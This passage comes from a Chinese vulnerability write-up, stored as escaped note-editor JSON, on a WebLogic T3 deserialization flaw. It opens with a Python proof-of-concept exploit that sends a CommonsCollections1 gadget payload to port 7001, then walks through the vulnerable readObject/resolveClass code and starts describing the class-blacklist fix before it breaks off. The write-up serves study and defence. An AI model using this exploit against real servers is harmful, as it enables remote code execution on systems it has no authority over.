popen.stdout.read()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cb2g-1673503823699&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LkvM-1673503823698&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v7pe-1673503823701&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTCr-1673503823700&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def T3Exploit(ip,port,payload):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4MiV-1673503823703&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9S2-1673503823702&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gEiZ-1673503823706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dKrZ-1673503823705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.connect((ip,port))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8v3P-1673503823708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CA7z-1673503823707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    handshake = \&#34;t3 12.2.3\\nAS:255\\nHL:19\\nMS:10000000\\n\\n\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4Rl-1673503823710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Cu3-1673503823709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.sendall(handshake.encode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13IQ-1673503823712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yumg-1673503823711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    data = sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;npKH-1673503823714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1fvT-1673503823713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    compile = re.compile(\&#34;HELO:(.*).0.false\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TmVs-1673503823716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XZEc-1673503823715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    match = compile.findall(data.decode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZdUo-1673503823718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xG4S-1673503823717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if match:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCC5-1673503823720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yk7D-1673503823719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Weblogic: \&#34;+\&#34;\&#34;.join(match))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pm0q-1673503823722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7W1E-1673503823721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    else:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uiri-1673503823724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;txqo-1673503823723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Not Weblogic\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ctJG-1673503823726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YRUi-1673503823725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4zQu-1673503823728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KST2-1673503823727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    header = binascii.a2b_hex(b\&#34;00000000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vCFM-1673503823730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QghN-1673503823729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    t3header = binascii.a2b_hex(b\&#34;016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wzMr-1673503823732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tm0p-1673503823731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    desflag = binascii.a2b_hex(b\&#34;fe010000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cXXx-1673503823734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTJb-1673503823733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = header + t3header  +desflag+  payload&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZpTQ-1673503823736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4IWA-1673503823735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = struct.pack(\&#34;&gt;I\&#34;,len(payload)) + payload[4:]&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lUDD-1673503823738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cuKj-1673503823737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.send(payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTGM-1673503823740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ekgt-1673503823739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Yhy-1673503823742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ntO4-1673503823741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k9yL-1673503823744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xSE5-1673503823743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LORI-1673503823746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5GGa-1673503823745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    gadget = \&#34;CommonsCollections1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LhzG-1673503823748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LqpJ-1673503823747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    cmd = \&#34;touch /tmp/success\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BtuA-1673503823750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yR4k-1673503823749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = generatePayload(gadget,cmd)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uuvt-1673503823752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wz0s-1673503823751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    T3Exploit(ip,port,payload)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5nBV-1673505956440&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qvac-1673505956441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;大概利用过程如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;80kL-1673505922919&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4973/WEBRESOURCE7741c0cb5cd0bb05e84982082d40fe8a&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DdYR-1673506013072&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4977/WEBRESOURCEccc5a5f8e5079158d38c7553f31bd81b&#34;,&#34;width&#34;:1900,&#34;height&#34;:384},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hpsd-1673505977742&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knWh-1673505977741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;代码调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kh2F-1673513147126&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cgza-1673513147125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VOLo-1673513129049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLGw-1673513153562&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XFvy-1673513153561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#222222&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Svvc-1673513148012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I54x-1673513148010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2pbI-1673513148357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N827-1673513148356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var2 = var1.read();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIEK-1673513148359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d4dt-1673513148358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    switch (var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AVY3-1673513148361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fiPY-1673513148360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 0:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uDAn-1673513148363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C5Qg-1673513148362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return (new ServerChannelInputStream(var1)).readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aX1s-1673513148365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZIck-1673513148364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1SO-1673513148367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vynk-1673513148366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var1.readASCII();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7q9q-1673513148369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JBmQ-1673513148368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nbAv-1673513148371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z0P3-1673513148370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new StreamCorruptedException(\&#34;Unknown typecode: &#39;\&#34; + var2 + \&#34;&#39;\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8L9s-1673513148373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XeUQ-1673513148372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tzF2-1673513148375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lTEz-1673513148374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r2Di-1673503857432&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;33yf-1673503857430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在此处下断点，可看到已修改后的序列化数据：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;erBf-1673513620237&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4988/WEBRESOURCE395ada51a921d3ea0426dc971ffa6a44&#34;,&#34;width&#34;:2924,&#34;height&#34;:1840},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LaE9-1673503857588&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xhia-1673503857586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过ServerChannelInputStream.resovleClass()方法加载类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zB5B-1673516023193&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4990/WEBRESOURCE1fd4219ed48a8943c32fb3ccaf259332&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5aHA-1673516000234&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6q5Q-1673516000230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而ServerChannelInputStream继承自ObjectInputStream，而此处的resolveClass方法也是调用父类方法未有任何处理，故造成反序列化漏洞：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T0xg-1673516194234&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4999/WEBRESOURCE163b2ba99b23a2d551e78baa34adcc48&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qIDH-1673516092384&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jRxd-1673516092383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;下面就是正常的反序列化利用链流程了。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7N7r-1673575111769&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9bmv-1673575111767&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;引用文章中的流程图：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gYBu-1673575131643&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5003/WEBRESOURCEf8cbc43c54ba1ee20cccdb3fd88698bd&#34;,&#34;width&#34;:516,&#34;height&#34;:374},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;paG0-1673575257921&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L1cW-1673575257922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F5Ou-1673575246253&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTze-1673575246251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;修复方案&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AbQq-1673575129876&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QANw-1673575129874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类，在其中一个补丁包中我们可以看到这个isBlackListed方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BipM-1673851025772&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5063/WEBRESOURCE7c417fdfe4ae88b117648c902dbb7d7a&#34;,&#34;width&#34;:691,&#34;height&#34;:428},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Yz7-1673851060514&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dzsg-1673851060515&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;来自ClassFilter，过滤反序列化攻击所使用的关键类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YMdw-1673851060513&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ReW-1673851060512&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QhHo-1673850998736&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.rmi;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2vL2-1673851061228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kP5Q-1673851061227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0dNA-1673851061230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vzJd-1673851061229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.HashSet;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nK4J-1673851061232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WVBD-1673851061231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.StringTokenizer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TCFd-1673851061234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8znX-1673851061233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CFCI-1673851061236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LPuc-1673851061235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public abstract class ClassFilter {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4YRF-1673851061238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8SxX-1673851061237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String BLACK_LIST_PROPERTY = 